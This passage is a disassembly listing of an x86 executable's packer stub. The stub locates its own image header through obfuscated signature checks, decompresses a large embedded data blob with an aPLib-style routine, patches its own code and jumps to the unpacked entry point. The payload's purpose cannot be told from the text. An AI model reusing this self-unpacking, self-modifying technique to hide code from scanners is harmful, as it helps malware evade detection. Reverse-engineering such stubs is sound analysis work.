		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_513074


loc_51306D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51304E
; ---------------------------------------------------------------------------


loc_513074:				; CODE XREF: start+57j
		mov	edi, eax


loc_513076:				; CODE XREF: start+1Bj
		jmp	loc_513265
; ---------------------------------------------------------------------------
		db 3
		dd 326AB9C7h, 0CF030011h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_513086:				; CODE XREF: start+8j
		mov	eax, offset loc_57C2CA
		mov	ecx, offset word_51326A
		push	eax
		push	ecx
		call	sub_51311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_513265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51311B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_513127:				; CODE XREF: sub_51311B:loc_51313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_513132:				; CODE XREF: sub_51311B+7Aj
					; sub_51311B+C3j ...
		add	dl, dl
		jnz	short loc_51313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51313B:				; CODE XREF: sub_51311B+19j
		jnb	short loc_513127
		add	dl, dl
		jnz	short loc_513146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513146:				; CODE XREF: sub_51311B+24j
		jnb	short loc_513197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_513153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513153:				; CODE XREF: sub_51311B+31j
		jnb	loc_513238
		add	dl, dl
		jnz	short loc_513162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513162:				; CODE XREF: sub_51311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51316D:				; CODE XREF: sub_51311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513178:				; CODE XREF: sub_51311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513183:				; CODE XREF: sub_51311B+61j
		adc	eax, eax
		jz	short loc_51318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51318D:				; CODE XREF: sub_51311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_513132
; ---------------------------------------------------------------------------


loc_513197:				; CODE XREF: sub_51311B:loc_513146j
		mov	eax, 1


loc_51319C:				; CODE XREF: sub_51311B:loc_5131B0j
		add	dl, dl
		jnz	short loc_5131A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131A5:				; CODE XREF: sub_51311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5131B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131B0:				; CODE XREF: sub_51311B+8Ej
		jb	short loc_51319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5131E3
		mov	ecx, 1


loc_5131C0:				; CODE XREF: sub_51311B:loc_5131D4j
		add	dl, dl
		jnz	short loc_5131C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131C9:				; CODE XREF: sub_51311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5131D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131D4:				; CODE XREF: sub_51311B+B2j
		jb	short loc_5131C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_5131E3:				; CODE XREF: sub_51311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5131F1:				; CODE XREF: sub_51311B:loc_513205j
		add	dl, dl
		jnz	short loc_5131FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131FA:				; CODE XREF: sub_51311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_513205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513205:				; CODE XREF: sub_51311B+E3j
		jb	short loc_5131F1
		cmp	eax, 7D00h
		jnb	short loc_513228
		cmp	eax, 500h
		jb	short loc_513223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513223:				; CODE XREF: sub_51311B+F8j
		cmp	eax, 7Fh
		ja	short loc_51322B


loc_513228:				; CODE XREF: sub_51311B+F1j
		add	ecx, 2


loc_51322B:				; CODE XREF: sub_51311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513238:				; CODE XREF: sub_51311B:loc_513153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_513259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513259:				; CODE XREF: sub_51311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51311B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_513265:				; CODE XREF: start:loc_513076j
					; start+9Dj
		jmp	loc_57C2CA
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51326A	dw 38E9h		; DATA XREF: start+77o
		dd 153354Ch, 4D0A1BFh, 1D13FC2h, 0C77F35C2h, 7C550878h
		dd 465728B3h, 1BE10311h, 8401F3BFh, 9288AB6Bh, 5F57ECACh
		dd 0E1033646h, 98F2BE1Eh, 75BC6F29h, 0E10324E6h, 112E3512h
		dd 71C8EFEFh, 0ABFB43B8h, 43B821C8h, 843B22F2h,	6854C06Fh
		dd 38696D65h, 0AA466164h, 0E11E33A2h, 52FCEE0Eh, 74736507h
		dd 41337261h, 0D32E8B70h, 7F08E778h, 0DD080167h, 0C58B0ED7h
		dd 0E860D443h, 815D4084h, 3355BEDh, 95890613h, 0D3F08B9h
		dd 3D3422B5h, 83C0E585h, 11CDBD10h, 0C740E70h, 0E245E88Bh
		dd 0C28588B8h, 44708EF7h, 813E3824h, 456A8030h,	29A3E830h
		dd 3D749A68h, 0DF280783h, 4B250F0Ah, 0D5480A89h, 214E985h
		dd 55E8EC2Bh, 83EC8B05h, 0EE60D8C4h, 20EA815Ah,	8B043649h
		dd 0D845C7DAh, 0E8C088Dh, 81088940h, 80637D7Eh,	3F0F741Dh
		dd 83920820h, 0FF104CB3h, 0EB314312h, 61DC36E1h, 0C90A26BAh
		dd 34604C2h, 0FF7CC481h, 22490247h, 458D0092h, 85D8B80h
		dd 19A285C7h, 8D5025h, 88C3D10Ah, 89544118h, 0BD51810Bh
		dd 755D0106h, 14274AE3h, 7664BA8Dh, 8A807502h, 48F4BB0Eh
		dd 7ABB85Bh, 0D3785437h, 80FE6D0h, 0F7754B1Dh, 47C3AF82h
		dd 314A9246h, 4251F946h, 8A5D61D1h, 0AFF0D003h,	5045EEECh
		dd 51EB4DFCh, 46E4AD04h, 403E6280h, 849BBAF7h, 7D0C3473h
		dd 3E7FEB0Ch, 6D6486F8h, 0E26F012h, 4A10F454h, 0F065C10Ah
		dd 0F801D604h, 0C203E0D1h, 332800CBh, 301C8ADBh, 72E6FB80h
		dd 390A0A61h, 0EBE90577h, 3F2293F7h, 0DB36114h,	8FB660Ah
		dd 0C3FA1E7Ah, 10610A75h, 0B72411Ah, 77460A86h,	10F52406h
		dd 0C3F05D01h, 7D83F4ECh, 0B0720298h, 76C00CD9h, 0AA32A5BBh
		dd 700EF826h, 0A8508D3Bh, 0FC55053Bh, 4E78820Fh, 0AA0DB0BDh
		dd 0BA87F238h, 5B90708h, 0BDFC4270h, 0FE0037D8h, 0E49470Fh
		dd 22B9FA75h, 0BBE06A2Eh, 0F1123101h, 6EEB823Bh, 868EC002h
		dd 1C1439B6h, 1F655107h, 8AEEA236h, 0E9892677h,	825920F2h
		dd 0E2E2C7ECh, 0C32C0B06h, 1D13EAh, 0E014CB8Ah,	299B944Ah
		dd 0A6C56E00h, 22ABC19Fh, 355937F1h, 0F6B65C54h, 34CB8C1Ch
		dd 39826700h, 1765B4Eh,	51B8100Fh, 0F1D1043Dh, 8746D93Bh
		dd 2E09755Eh, 20E1156h,	65E4EC48h, 4E800690h, 8E05C584h
		dd 0D7C99632h, 42A3C53h, 8C0629C2h, 0E7820571h,	98A2DD0Eh
		dd 77812BFFh, 1D220460h, 0C84C134h, 207533F9h, 0BB833FBCh
		dd 39EFB30Ah, 419C0230h, 7F8C4CECh, 40FCFFCCh, 52457F86h
		dd 628060E9h, 4D8C52C4h, 82112504h, 0AB26B1AAh,	13845A68h
		dd 0D1305645h, 55EE825Eh, 0F20281D4h, 0D58A2792h, 231310B9h
		dd 47439729h, 4568C6Bh,	725E2188h, 6D8A14C4h, 45339425h
		dd 21001C08h, 0DAC45646h, 1FDD32Eh, 2C2A84A0h, 31E08C67h
		dd 0EA088CCCh, 1E62F0Bh, 0D124CC8Eh, 0F84A8480h, 8D0C67F0h
		dd 2515E9DAh, 0ACDB0028h, 0CC50EECBh, 8500C4E6h, 80363C09h
		dd 79F845Fh, 676BDFD7h,	5C5BD0BCh, 507E281h, 0FA57B0B4h
		dd 10CA0B80h, 53406386h, 3EB9C8F6h, 2874218h, 0E4F0EE91h
		dd 11C339EAh, 0CE952h, 0D3512A0Dh, 0DC21C4E2h, 97122F02h
		dd 918110D8h, 0EAC45C97h, 6F0FCE0Fh, 565DAF00h,	160107E8h
		dd 0E77038E1h, 3E49A2F7h, 0AAB41F00h, 636EF88Ah, 8EA1812h
		dd 7D6A1B00h, 87A4CC0Eh, 9024DF10h, 44E93C1Fh, 2ADD07F9h
		dd 0DF1C327Fh, 3E7251E0h, 8600FD61h, 4B52B9CAh,	125B1EACh
		dd 12FABF67h, 6D520D42h, 108D043Eh, 0E9C0CD25h,	20792619h
		dd 4C051F00h, 0CA34382Ch, 0B3D008Ch, 0F41AE482h, 0C8EC695Ch
		dd 5EE07703h, 0F014B50Eh, 8F56F0h, 0F66111A8h, 62D1C010h
		dd 3A00F8F8h, 0BF29E922h, 54DD44h, 0B6B55821h, 100B0590h
		dd 81178430h, 0C00DEA61h, 0FCA4EF0Dh, 0DC01C3DDh, 7C72E781h
		dd 113076F5h, 8C6250F8h, 9A5A403h, 5EA848Dh, 82DF3A02h
		dd 0C3958061h, 3080EA86h, 4B0664BFh, 22EA6609h,	0FC400015h
		dd 3753E679h, 63010FC0h, 0FAF53FCBh, 326481EAh,	68E9004Bh
		dd 0B846BB3h, 200E1F0h,	21FB6F9Bh, 1D5B269h, 0D1192D32h
		dd 0D31E104Bh, 0BE09C6C1h, 0E7930008h, 0F14C03E6h, 0B77896h
		dd 0F81F4B97h, 396CF3EDh, 0E1AFD000h, 9538E201h, 39DF19h
		dd 92FEA9DEh, 2B015C4Ch, 0A7D3D70Ah, 9FDBB54Dh,	367C6CC1h
		dd 274B188Ch, 0BC287739h, 8C00DE0Dh, 2D5B155Ah,	0A5D48Eh
		dd 400E949Ch, 18A18D1Fh, 1AD931C0h, 0F2111705h,	207C3064h
		dd 9089D850h, 430C4C18h, 6713510h, 0AE31B4FDh, 900CA11Fh
		dd 201DB854h, 0DC63002h, 814D0519h, 7226DC07h, 0E04F2CA6h
		dd 96219A3Ah, 418501A2h, 909BC416h, 932CD4D5h, 0B8A0D754h
		dd 0FD05BF12h, 59A89D00h, 7C99AC09h, 33450048h,	517151Ah
		dd 31C0DDB0h, 3C880DCEh, 0FC140EC3h, 87404197h,	34F35A75h
		dd 4011A531h, 0B006E304h, 2C16B220h, 30DDC1ABh,	0C7B83918h
		dd 0C0195528h, 78414E1Dh, 7002E82Ah, 0F4A3A997h, 35BB10C5h
		dd 0BA36C000h, 74AC02EDh, 1EF61E7Bh, 0C466C0F9h, 0A5DB0192h
		dd 33789414h, 795200B8h, 0E6D2A138h, 77FD2810h,	0AD170030h
		dd 0AA354DD9h, 3B609064h, 0A431F130h, 9C08C1A9h, 61C05AD6h
		dd 11A1B92Ch, 0BF1C4778h, 0F9A7402Fh, 0D51203D9h, 0B26EC903h
		dd 0E174EFBEh, 0B0D48A16h, 912B158Fh, 0DE099CD9h, 262EB9h
		dd 4344504Dh, 2E0A75C6h, 53083Eh, 0F417D3A2h, 93FE763Ch
		dd 4363924h, 412B4B8Ch,	416F0089h, 0FCDDE15Fh, 0F001E48Ah
		dd 180E6782h, 84438E15h, 5C01BC44h, 83107DA0h, 0A86C26C8h
		dd 78181837h, 5E79812Dh, 8DC5BA00h, 33EB12B8h, 0AB747729h
		dd 0AC40CC3Ch, 49271776h, 0BFB6802h, 8FB338A2h,	0D8F120E8h
		dd 1F7C0A7h, 0F0DA8CA0h, 0D3FD30ABh, 0DC82A2FBh, 0A84C0848h
		dd 29D33C40h, 1909D2Bh,	7099ABF1h, 382880C5h, 409A243Ah
		dd 9410C3DEh, 90DC084Ch, 0D610A124h, 30DE7480h,	0A6A132AFh
		dd 2364286Ch, 89C1D2E0h, 15C4BFF1h, 4D80A00Bh, 82300C63h
		dd 0A97011D7h, 9BD5022h, 16C58DF0h, 0EB43820h, 841E6779h
		dd 83802AB6h, 28DF7DC2h, 487AE02Fh, 0C9109CA1h,	94DC04FCh
		dd 3C901D5Eh, 0C7E3ABA0h, 402C2D18h, 0ECFD7079h, 0AFD1E9C0h
		dd 80CE4CA1h, 92477A6h,	8E41B48Ah, 9CEC825Ah, 50446070h
		dd 1D607355h, 6239CB1Dh, 0ED2526C5h, 7AB08FC7h,	589F2h
		dd 0EC97EAD9h, 72C2C8A7h, 3D011F73h, 9C93EE25h,	0F0D3C6ADh
		dd 0E3F24A9h, 0C8524EA0h, 8125E6E7h, 0F07CF3C4h, 65006650h
		dd 61718F4Dh, 16AC2B2h,	0E81ECA1Fh, 0E0A3AE01h,	930092FDh
		dd 0F709EC74h, 43EDADh,	166082CAh, 1DF2B62Fh, 0F1B88E1Dh
		dd 0C63C8068h, 0DB620936h, 95100047h, 152E55A4h, 0BCEECCC2h
		dd 29B8DE04h, 884D0C19h, 48F1028Ah, 0F35C058h, 5492C048h
		dd 77824h, 15AF3105h, 5016D442h, 0ABACA039h, 80E404B9h
		dd 0E07D63F0h, 0CC8330C7h, 24705B81h, 0A0102022h, 541A12DEh
		dd 0A5312C21h, 6C39B433h, 0A0302720h, 8FD9A12Ch, 45C81858h
		dd 7453E0FAh, 81307830h, 0C0657A50h, 55126208h,	4D7A6BC3h
		dd 684CD831h, 9D003764h, 2A3FAB02h, 7102FEFCh, 0B084A635h
		dd 0B75C4848h, 104CB2EDh, 0CE9912Ch, 69467819h,	0B112002Ah
		dd 357E2039h, 7C006DEDh, 0C108E41Dh, 2936B82h, 0AC671136h
		dd 704890A1h, 0AE248874h, 5C26E868h, 757D2860h,	234F18F9h
		dd 0A61C7CE5h, 0B02FC91h
		dd 4AEAD4BAh, 395080DCh, 0D367A0h, 55AA994Ch, 744E164Dh
		dd 447190E8h, 8FE03F69h, 4556867Dh, 0F04B52B1h,	1B248500h
		dd 86AAED64h, 5DCAA100h, 0EB3A6DC3h, 0B4322C97h, 4094C574h
		dd 39ED6098h, 6F146D51h, 86F85C16h, 0F159AA31h,	0C83F530h
		dd 33469A2Bh, 0D3008420h, 0F3686152h, 2A5A3F7Fh, 44147466h
		dd 0A0145832h, 3AB816C9h, 0B4DE8CFDh, 60C659C1h, 0E92A611Eh
		dd 2014AA78h, 221431DEh, 0A7D513ADh, 60400998h,	98997829h
		dd 50FACC68h, 0E99A3000h, 0BD110987h, 0B3DE14D0h, 1422343Eh
		dd 91019A78h, 0C871DA0Dh, 0B4D4DDC7h, 528602B5h, 54160C77h
		dd 0BA2B8090h, 0D0DF6428h, 0A4D9DE40h, 28907D88h, 6CA010A0h
		dd 94A0319Ah, 1C907059h, 2CDAB05Ch, 1D24C6F8h, 40ADAA25h
		dd 9E82B18Bh, 49004BF4h, 125E3B72h, 7A437DA6h, 0C70EABCh
		dd 0BB18B20Ch, 5471DF80h, 32703D60h, 92B88406h,	2BF00668h
		dd 28B46CB2h, 0AF8DB4Ch, 90D09B2Ch, 0C5C98D83h,	0EA810011h
		dd 0AC6322C2h, 8E286DD7h, 4145B449h, 6400F063h,	0C0348F45h
		dd 9000ED5Fh, 5B7AE95Ch, 7E97BEC2h, 0ADF10643h,	78B068B9h
		dd 0F47CDCB0h, 0EEA5D380h, 0B83FF009h, 0A9AC09CCh, 1D051081h
		dd 1638339h, 0C13CD4FCh, 0BF6D37A4h, 0C0AA8B38h, 50482AD4h
		dd 0D142013Ch, 979252D2h, 0BC9DBF4h, 1519A858h,	5BE83821h
		dd 315C3554h, 10E6E138h, 6EF5C2Fh, 0C1B05A39h, 971D301Ch
		dd 715DBE50h, 0D10890AEh, 58A81504h, 0E82E7815h, 0DF1EB300h
		dd 0E8A5F591h, 6153DC0Ch, 41B4505Fh, 14883058h,	0D6334988h
		dd 67243039h, 15011191h, 22763D42h, 6705358h, 62D607B3h
		dd 0A239F5AEh, 74C82DB8h, 0AC208CA8h, 4BF00C15h, 2C48182Ah
		dd 2EE89052h, 0E4291484h, 2C50649Fh, 1E132413h,	4B30E2D8h
		dd 0F608931h, 409B0172h, 0BA33D36Bh, 0B05C3420h, 0F1B95260h
		dd 37942E05h, 6180245Ch, 60DB1ED4h, 0AC20C1E4h,	8B933EB2h
		dd 0EC233100h, 5BA1A6E7h, 0BC56F18h, 3E626E91h,	860037EBh
		dd 0DD3B5D10h, 0DF01654Ah, 0E72B94FCh, 473D375h, 57CC0D00h
		dd 58DCE31h, 69BB3400h,	0E0FEE1E4h, 64A80A3Bh, 9F884560h
		dd 395685h, 4616FF8Ch, 0EC004D7Eh, 81FE2B12h, 0F8E66188h
		dd 803D5558h, 4CA71C50h, 0AF84A83Ch, 0A6B60010h, 1FC94D0Ah
		dd 0EA1E980Eh, 0BBF1B5h, 0A3134E1Bh, 9A26B232h,	44089034h
		dd 3D604B49h, 33764849h, 7FE5036Ch, 38444A0h, 77AE2D98h
		dd 1E4C9F01h, 0AD31F152h, 0B115FC22h, 0B501E0DFh, 98275E45h
		dd 79BAF480h, 0FF0BF900h, 6C76AA07h, 72D4099Dh,	0C0645716h
		dd 83792660h, 7314Dh, 3FFE8D37h, 7DDABCBFh, 8C9C2B00h
		dd 0F1A6DB61h, 0DE34029Ah, 0D64E3672h, 8C8B3042h, 0C8109809h
		dd 4830651h, 0D5AFD010h, 12C60616h, 0BDB61DB1h,	0B4A50F1Ch
		dd 0F55B0C67h, 78D48258h, 0BFDB4C80h, 34033F93h, 81B87675h
		dd 3EADD0ABh, 57F10539h, 7076DA8h, 46BFD834h, 0AA1788EBh
		dd 0E8403C9Ch, 0ECB1AC89h, 63090C2h, 5FB85CA1h,	60828E6h
		dd 100CA894h, 0D608108Dh, 89E16075h, 59DA5AEDh,	0F3E30900h
		dd 0F2B38A3Eh, 336200FFh, 0FD230BD1h, 895C497Bh, 9ADE0CB3h
		dd 1F50C8D4h, 9374A965h, 0B150880Ah, 0DD59DE60h, 59E1D2h
		dd 56FAE7D8h, 0B00906C3h, 58F8A101h, 1CA443F0h,	14FCBC20h
		dd 0D4C8EDDBh, 0BA82E0C0h, 0E424FBD9h, 3B0089DEh, 0AAAD682Ah
		dd 1D180315h, 0B69CF732h, 768838h, 0AE286048h, 1D029AAh
		dd 9BF70535h, 70228B99h, 0DE40C834h, 39D50E96h,	0A5209853h
		dd 36799A6Fh, 0C108C530h, 2CA2E896h, 1332FF5h, 94BD2E65h
		dd 0B77BECB4h, 5B0167EEh, 5A517571h, 0DC2861A8h, 7DA1AE04h
		dd 0DE2080C1h, 20E9C0B7h, 0D0B1C480h, 88C87700h, 614E03h
		dd 0D3827ABBh, 0CFD9A99Ah, 0FC0804A7h, 2C2500A8h, 0ABEB87FBh
		dd 36426000h, 1BCCEABDh, 0CC8AEE34h, 976CD918h,	2140D86Fh
		dd 9EF9EF54h, 0CD30E771h, 58720083h, 17A3D528h,	937E402Fh
		dd 0DDFC3B18h, 37435C40h, 0C658B746h, 782068D8h, 2BE03B6Fh
		dd 273CDE20h, 0A7450067h, 0B5A52A58h, 0DFF43Bh,	840DF3E1h
		dd 1CA0D7E8h, 951B5418h, 782AF480h, 5D293328h, 81D86110h
		dd 0D600E01Ah, 0BEBC5807h, 0CEB926Eh, 25542651h, 0CE28C229h
		dd 0E90680AFh, 719FDB88h, 0AA610670h, 292864F2h, 0CA1E4600h
		dd 26A0D81Bh, 1F3775B1h, 0BDF48EF1h, 0B89BAC98h, 51F90862h
		dd 0F6438008h, 1648B481h, 0A41BCC6h, 0C0AA42DEh, 6259DB81h
		dd 8450402Ah, 60542E43h, 0B7C3792Dh, 2B305AEEh,	0A29A2144h
		dd 0AE0A454h, 3C2E7B08h, 14238518h, 5AD84136h, 91F1D671h
		dd 8200F670h, 7FB75CE9h, 0A339C528h, 6CD001EAh,	0B88EA984h
		dd 896ED088h, 0D207F802h, 81184893h, 0BDD800FDh, 0BECC58EEh
		dd 0F02FC15h, 0F4D90797h, 5498848Bh, 20464844h,	883E80A5h
		dd 4349D187h, 62090320h, 0A345BE73h, 8DC1A06Bh,	271B1D39h
		dd 0AA7241D7h, 8C9D3016h, 0C8DF9CB9h, 9B24889Eh, 2C06F6B8h
		dd 0D7EA5AA2h, 10C96260h, 90A7C354h, 0EB6BB041h, 2E2AA818h
		dd 0CA159C03h, 0A7289D0Fh, 1E187A2Fh, 0E9EC0128h, 24A819DBh
		dd 635980D4h, 0AB9F60DDh, 0AEDA3AD8h, 0AC1DC40Ah, 0E72780A0h
		dd 0EADFEC8Ch, 0DE400E53h, 0B40C9952h, 5A39ABh,	0AA24F7C2h
		dd 6AA0472Eh, 91CA5230h, 90F24AE6h, 0B0123244h,	3CB5AF31h
		dd 165BA285h, 0DBA0D442h, 91582A35h, 3421298Fh,	0C00B0551h
		dd 0C2FA239Dh, 0C4CB0FF2h, 0D1F8E62Fh, 7900E862h, 17AB24C7h
		dd 0A2380340h, 53BC3C48h, 0DEC34C31h, 610D3949h, 200CA995h
		dd 8CAAF803h, 86A40819h, 0DF2FA738h, 54185061h,	0E2084FFh
		dd 0F11B3BF3h, 0AE1F307Ah, 0C9982E71h, 8626B000h, 35FDDAA0h
		dd 15D11396h, 24181F8Fh, 0E08B0070h, 0A2A9E799h, 0E8DD552Ah
		dd 0AF3A480Fh, 8A209562h, 44EBC13h, 7882F507h, 609C49C2h
		dd 0F88D0880h, 53A9A308h, 1092A77Fh, 3DF02B4Dh,	43EBFA6h
		dd 8CCFE60h, 0B1170580h, 69C900FDh, 42F0B49Eh, 523BAC47h
		dd 0EA91000Ah, 152A5188h, 0B9DC006Ah, 65A63E71h, 3FE0C838h
		dd 83E5963Bh, 0D3663BCEh, 0E195C8ADh, 105401BBh, 8CEB8EE4h
		dd 68408207h, 76B8DEh, 1DBF38AFh, 0E5A51601h, 5DC5D27Bh
		dd 3E2D8480h, 0FF90F047h, 0DA8EDF00h, 0D71B5249h, 64F055h
		dd 0B9BD3E7Ch, 0C1DBEF3h, 0CE58A575h, 40FA970h,	1F895FBh
		dd 0B8F266A2h, 0D820161Fh, 0C7D70060h, 0F8C1C955h, 0ED01447Fh
		dd 0BCDBCD67h, 6CC04EEBh, 0DF610114h, 0B98CB2B3h, 1408065h
		dd 732C680Eh, 5D320045h, 4C2D64CCh, 5C009B56h, 4051E810h
		dd 37337ADh, 0B4BA6D12h, 65A03EBEh, 220B6ECh, 7545EE11h
		dd 0ADD500C9h, 0F94A3A2Dh, 0FB00FF5Bh, 444EEF7Fh, 71212Fh
		dd 8C7363BAh, 0B6019BB8h, 683B1E01h, 0CFFC6715h, 3831DFD5h
		dd 0C0AE944Bh, 0C2F9B9ACh, 96101204h, 3F5400EAh, 2DAED65Dh
		dd 9B4E3700h, 0BCE00F90h, 1887FDCh, 0D16A2274h,	60937CF7h
		dd 0B700F18Ch, 33A8CD08h, 0C7CEB1h, 2F2C867h, 4DA05C46h
		dd 66002FFEh, 7A4C5843h, 30D15F16h, 6740B2EBh, 0F40C0F3h
		dd 3B10019h, 0F2D45D35h, 0F7E242F8h, 24F46603h,	8044DCC1h
		dd 5F1220h, 927CB8C2h, 0CCF3B46Ch, 97CD1D00h, 35047217h
		dd 0F0D42C5Bh, 3D4D58Ch, 60A07750h, 3A80C238h, 61001896h
		dd 9856CDE1h, 20732DF0h, 8DE6F544h, 5247DD03h, 0B0AC1A6Eh
		dd 3F3E7DB8h, 0B70060A3h
		dd 33A11843h, 3D07D578h, 0F066D85Eh, 5AED0DB0h,	0C5250011h
		dd 7A4241EFh, 0DC0089F9h, 6C8DB163h, 0BFF264h, 28941A0Eh
		dd 73C54575h, 2DC19E0Eh, 5DAAE071h, 0C324FEh, 214088D8h
		dd 0B4D26F16h, 6D387600h, 1CB8F04Fh, 2CA11FCDh,	658A407Dh
		dd 5336B0D5h, 0AC9F0D2Ch, 5F01E111h, 0D15E1482h, 1B8849F9h
		dd 0AFB0FF04h, 72001F5Dh, 7B1D6585h, 0A0B594Bh,	0C9A94E64h
		dd 14805534h, 0B9755177h, 84E0098h, 494B7205h, 0BD77AFCCh
		dd 0E6781CAEh, 0D110C263h, 0F91900A3h, 9C37C4A0h, 1A05DD4Eh
		dd 5D19E6EFh, 0AA614EC0h, 0C881305Bh, 0EEB8AF41h, 4F462F05h
		dd 0FD86D545h, 21D76008h, 4BEEB08Dh, 0FAD2791Ch, 27FF3C41h
		dd 0E47C2354h, 25DB4001h, 83921A6Ch, 4C164810h,	0A9A0E8E7h
		dd 1BC60404h, 0A8A45834h, 19733A08h, 30382A59h,	5C00D06Dh
		dd 0E441F84Bh, 0DD15D7CCh, 881C9732h, 0D13717F9h, 0D4142584h
		dd 0AB01EE2Dh, 51B4188Eh, 602D3BDEh, 0E825A704h, 0C08104CEh
		dd 0A400F64Fh, 22686A95h, 0BE495205h, 8C3A32F8h, 5E01DD23h
		dd 99261707h, 0D088204Bh, 0CBAECEC0h, 57CD0E59h, 1AA0DC54h
		dd 0E34C2E5Bh, 91A88E51h, 33CB3C9h, 0DA01AD0Ah,	8AB9809Ch
		dd 5B6053DBh, 58A5BE0Ch, 0C0E6088Ch, 0DB921431h, 2D319134h
		dd 0F57758ADh, 8E93F0Ch, 95048CB0h, 736052DBh, 1720F162h
		dd 0DDB9Dh, 1184F699h, 9423CDEh, 0E1CD8130h, 1829B63h
		dd 0BEA4EEEBh, 81C73664h, 2C239078h, 0EC40CA10h, 7EA2FF7h
		dd 2252C0DDh, 9DCC624Fh, 6CB84480h, 3492FA06h, 29593807h
		dd 62C0A799h, 1E51B517h, 0C3BEC360h, 2C25FCAEh,	0D00D848Ah
		dd 0DB9030CEh, 8B605511h, 1A80F288h, 3B94DB98h,	23630038h
		dd 0F0AF6AE2h, 363032D8h, 27AA9892h, 9F4600ADh,	730A5845h
		dd 0D26ED464h, 0C0067178h, 31907632h, 412B5903h, 0A0C8A22Fh
		dd 0D9315736h, 18B9A041h, 57DB0896h, 0F0C47B60h, 0DB9E1840h
		dd 0A8027AC1h, 0C4C53A52h, 920FA27h, 0D2399B29h, 0C5A80C90h
		dd 95278E00h, 1BD817C9h, 0A0DF6A54h, 0EC467420h, 654AE800h
		dd 0B260435Ch, 6BBF4D04h, 38A928C4h, 53542004h,	0DF00D09Eh
		dd 4D00F79Ch, 6D1F2305h, 296EFE29h, 80942627h, 0DF5E258h
		dd 0BA70938Fh, 8071E36Fh, 965EC3CDh, 1CE9E95Fh,	41A572D8h
		dd 0B7800B5h, 85321E62h, 30AAD0AFh, 5011DB97h, 0E4888360h
		dd 0DB9F1980h, 1D40D8F3h, 4CC5E86Eh, 0ECDCC0A0h, 6DF4C0C1h
		dd 0E8207C95h, 9CD90C07h, 4979ADD2h, 0B8082E00h, 9EA30D20h
		dd 8156628h, 6A132195h,	0DC010826h, 0A4425260h,	1ADF0420h
		dd 0F883FF2Bh, 59017844h, 0F71B85E6h, 80DC423Fh, 9C92DFh
		dd 6939FEC8h, 87EA31B7h, 5B419F03h, 0C08A6579h,	18245CE6h
		dd 50D0BC1Ch, 0F8373260h, 5A706862h, 924D853h, 0B3902712h
		dd 0EF68F80Fh, 0AAA7CE0Fh, 4AB84F5h, 6C4478h, 267D6D51h
		dd 47C40D84h, 0ABD34902h, 4B9142DEh, 382E1840h,	4A62A0D1h
